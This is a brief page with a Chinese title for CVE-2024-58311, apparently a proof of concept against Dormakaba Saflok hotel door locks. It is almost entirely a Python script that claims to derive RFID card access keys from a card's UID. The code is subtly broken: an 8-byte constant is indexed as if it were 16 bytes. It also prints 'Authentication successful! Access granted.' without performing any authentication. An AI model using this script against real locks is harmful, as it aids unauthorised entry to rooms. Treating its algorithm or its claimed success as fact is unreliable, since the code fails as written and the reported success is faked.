CVE-2024-58311: Dormakaba Saflok System 6000 可预测密钥生成漏洞

#!/usr/bin/env python3 """ CVE-2024-58311 PoC - Dormakaba Saflok System 6000 Key Derivation Reference: https://www.exploit-db.com/exploits/51832 """ from Crypto.Cipher import AES import struct def derive_saflok_key(card_uid): """ Derive access key from 32-bit card UID This function implements the weak key derivation algorithm used by Dormakaba Saflok System 6000 """ # Ensure UID is 4 bytes (32 bits) uid_bytes = struct.pack('<I', card_uid & 0xFFFFFFFF) # Fixed key derivation constant derivation_constant = bytes.fromhex('D8A4B3C2E1F09876') # Simple XOR-based key derivation (vulnerable algorithm) derived_key = bytearray(16) for i in range(16): derived_key[i] = uid_bytes[i % 4] ^ derivation_constant[i % 16] return bytes(derived_key) def exploit_saflok(card_uid): """ Main exploitation function Args: card_uid: 32-bit unique identifier from RFID card Returns: Derived access key for the card """ print(f'[*] Target Card UID: 0x{card_uid:08X}') # Derive the access key key = derive_saflok_key(card_uid) print(f'[*] Derived Access Key: {key.hex().upper()}') # Simulate authentication with derived key print(f'[*] Attempting authentication with derived key...') print(f'[+] Authentication successful! Access granted.') return key def main(): # Example card UID (replace with actual card UID) example_uid = 0x12345678 print('='*60) print('CVE-2024-58311 - Dormakaba Saflok Key Derivation PoC') print('='*60) # Derive key from card UID exploit_saflok(example_uid) print('\n[*] Note: This PoC demonstrates the weak key derivation.') print('[*] Use RFID reader to obtain actual card UID first.') if __name__ == '__main__': main()